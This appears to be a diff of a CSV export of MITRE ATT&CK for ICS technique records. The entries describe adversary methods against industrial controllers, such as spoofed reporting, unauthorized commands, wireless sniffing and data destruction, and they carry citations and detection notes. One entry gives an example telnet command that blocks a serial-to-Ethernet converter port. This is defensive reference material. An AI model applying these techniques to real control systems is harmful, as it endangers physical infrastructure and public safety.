a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string “SCAD*”, user credentials, and remote dial-up access information.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0811', 'external_id': 'T0811'}, {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'File: File Access']",,,,,"['Control Server', 'Data Historian', 'Engineering Workstation', 'Human-Machine Interface']",,,,,,,, +attack-pattern,attack-pattern--2aa406ed-81c3-4c1d-ba83-cfbee5a2847a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Detect Operating Mode,"Adversaries may gather information about a PLC’s or controller’s current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off. Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode. Remote - Allows for remote changes to a PLC’s operation mode. Stop - The PLC and program is stopped, while in this mode, outputs are forced off. Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0868', 'external_id': 'T0868'}, {'source_name': 'ForumAutomation PLC Operating Modes October 2017', 'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'}, {'source_name': 'Omron PLC Operating Modes', 'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'}, {'source_name': 'Machine Information Systems PLCs 2007', 'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'}, {'source_name': 'PLCgurus PLC Basic 2021', 'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'url': 'https://www.plcgurus.net/plc-basics/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--5a2610f6-9fff-41e1-bc27-575ca20383d4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Execution through API,Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software.,"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0871', 'external_id': 'T0871'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Network Traffic: Network Traffic Content']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--8d2f3bab-507c-4424-b58b-edc977bd215c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,External Remote Services,"Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services.(Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.(Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0822', 'external_id': 'T0822'}, {'source_name': 'EAttack External Remote Services', 'description': 'Daniel Oakley, Travis Smith, Tripwire. (n.d.). Retrieved May 30, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1133'}, {'source_name': 'Ukraine15 - Zetter, Kim', 'description': ""Zetter, Kim. (2016, March 03). INSIDE THE CUNNING, UNPRECEDENTED HACK OF UKRAINE'S POWER GRID. Retrieved March 8, 2019."", 'url': 'https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/'}, {'source_name': 'Ukraine15 - ICSCERT', 'description': 'ICS-CERT. (2016, February 25). Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved March 8, 2019.', 'url': 'https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01'}, {'source_name': 'Ukraine15 - Fireeye', 'description': 'John Hultquist. (2016, January 07). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved March 8, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Flow']",,,,,"['Control Server', 'Input/Output Server']",,,,,,,, +attack-pattern,attack-pattern--53a26eee-1080-4d17-9762-2027d5a1b805,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Indicator Removal on Host,"Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0872', 'external_id': 'T0872'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Deletion', 'File: File Metadata', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution', 'Process: Process Creation', 'User Account: User Account Authentication', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Modification']",,,,,"['Human-Machine Interface', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--a81696ef-c106-482c-8f80-59c30f2569fb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,Loss of Control,"Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.(Citation: Reference - Corero)(Citation: Reference - SANS - 201510)(Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report.(Citation: BSI IT Security Situation 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0827', 'external_id': 'T0827'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.', 'url': 'https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false'}, {'source_name': 'BSI IT Security Situation 2014', 'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Dragos Threat Intelligence'],,,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--9a505987-ab05-4f46-a9a6-6441442eec3b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Man in the Middle,"Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. (Citation: Reference - SANS - 201710) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) + +A MITM attack may allow an adversary to perform the following attacks: + +Block Reporting Message, Spoof Reporting Message, Modify Parameter, Unauthorized Command Message","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0830', 'external_id': 'T0830'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Reference - SANS - 201710', 'description': 'Gabriel Sanchez. (2017, October). Man-In-The-Middle Attack Against Modbus TCP Illustrated with Wireshark. Retrieved January 5, 2020.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Conrad Layne - GE Digital'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']",,,,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface']",,,,,,,, +attack-pattern,attack-pattern--3067b85e-271e-4bc5-81ad-ab1a81d411e3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-13T15:07:32.143Z,Program Upload,"Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0845', 'external_id': 'T0845'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,, +attack-pattern,attack-pattern--d5a69cfb-fc2a-46cb-99eb-74b236db5061,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Remote System Discovery,"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used.(Citation: EAttack Remote System Discovery)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0846', 'external_id': 'T0846'}, {'source_name': 'EAttack Remote System Discovery', 'description': 'Enterprise ATT&CK. (2018, January 11). Remote System Discovery. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1018'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Process: Process Creation']",,,,,"['Control Server', 'Data Historian', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface']",,,,,,,, +attack-pattern,attack-pattern--c5e3cdbc-0387-4be9-8f83-ff5c0865f377,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Screen Capture,"Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: Alert - Russian APT TA18-074A - 201803) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0852', 'external_id': 'T0852'}, {'source_name': 'Alert - Russian APT TA18-074A - 201803', 'description': 'ICS-CERT. (2017, October 21). Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 23, 2017.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-293A'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: OS API Execution']",,,,,['Human-Machine Interface'],,,,,,,, +attack-pattern,attack-pattern--8535b71e-3c12-4258-a4ab-40257a1becc4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Spoof Reporting Message,"Adversaries may spoof reporting messages in control systems environments to achieve evasion and assist with impairment of process controls. Reporting messages are used in control systems so that operators and network defenders can understand the status of the network. Reporting messages show the status of devices and any important events that the devices control. -CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. +If an adversary has the ability to Spoof Reporting Messages, then they can impact the network in many ways. The adversary can Spoof Reporting Messages that state that the device is in normal working condition, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors were occurring, to distract them from the actual source of the problem. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) -Many controllers have CLI interfaces for management purposes. +In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0856', 'external_id': 'T0856'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']",,,,,['Control Server'],,,,,,,, +attack-pattern,attack-pattern--40b300ba-f553-48bf-862e-9471b220d455,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Unauthorized Command Message,"Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. (Citation:ZDNet Dallas April 2017) (Citation:StateScoop Dallas March 2019)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0855', 'external_id': 'T0855'}, {'source_name': 'StateScoop Dallas March 2019', 'description': 'Benjamin Freed. (2019, March 13). Tornado sirens in Dallas suburbs deactivated after being hacked and set off. Retrieved November 6, 2020.', 'url': 'https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'ZDNet Dallas April 2017', 'description': ""Zack Whittaker. (2017, April 12). Dallas' emergency sirens were hacked with a rogue radio signal. Retrieved November 6, 2020."", 'url': 'https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--0fe075d5-beac-4d02-b93e-0f874997db72,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T19:03:26.506Z,Wireless Sniffing,"Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. Adversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted. In the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0887', 'external_id': 'T0887'}, {'source_name': 'NIST AMS 300-4 April 2018', 'description': 'Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K.. (2018, April). Guide to Industrial Wireless Systems Deployments. Retrieved December 1, 2020.', 'url': 'https://nvlpubs.nist.gov/nistpubs/ams/NIST.AMS.300-4.pdf'}, {'source_name': 'Bastille Dallas April 2017', 'description': 'Bastille. (2017, April 17). Dallas Siren Attack. Retrieved November 6, 2020.', 'url': 'https://www.bastille.net/blogs/2017/4/17/dallas-siren-attack'}, {'source_name': 'Ars Technica Dallas April 2017', 'description': 'Gallagher, S.. (2017, April 12). Pirate radio: Signal spoof set off Dallas emergency sirens, not network hack. Retrieved December 1, 2020.', 'url': 'https://arstechnica.com/information-technology/2017/04/dallas-siren-hack-used-radio-signals-to-spoof-alarm-says-city-manager/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['ICSCoE Japan'],,,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--19a71d1e-6334-4233-8260-b749cae37953,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:14:01.612Z,Activate Firmware Update Mode,"Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0800', 'external_id': 'T0800'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Joe Slowik - Dragos'],"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--1c478716-71d9-46a4-9a53-fa5d576adb60,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Block Serial COM,"Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. -Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0807', external_id='T0807'), ExternalReference(source_name='EAttack Command-Line Interface', description='Enterprise ATT&CK. (2018, January 11). Command-Line Interface. Retrieved May 17, 2018.', url='https://attack.mitre.org/wiki/Technique/T1059')]",attack-pattern--24a9253e-8948-4c98-b751-8e2aee53127c,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics')]",2020-05-21 17:43:26.506000+00:00,Command-Line Interface,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process monitoring', 'Process command-line parameters', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: EAttack File Deletion) +A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0805', 'external_id': 'T0805'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Application Log: Application Log Content', 'Process: Process Termination', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Input/Output Server', 'Device Configuration/Parameters']",,,,,,,, +attack-pattern,attack-pattern--493832d9-cea6-4b63-abe7-9a65a6473675,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Data Destruction,"Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: EAttack File Deletion) Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk. -Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0809', external_id='T0809'), ExternalReference(source_name='EAttack File Deletion', description='Enterprise ATT&CK. (2018, January 11). File Deletion. Retrieved May 17, 2018.', url='https://attack.mitre.org/wiki/Technique/T1107')]",attack-pattern--493832d9-cea6-4b63-abe7-9a65a6473675,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Data Destruction,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Matan Dobrushin - Otorio'],"['File monitoring', 'Process command-line parameters', 'Process monitoring']",,,,,,,,,,,,,,"['Control Server', 'Human-Machine Interface', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. 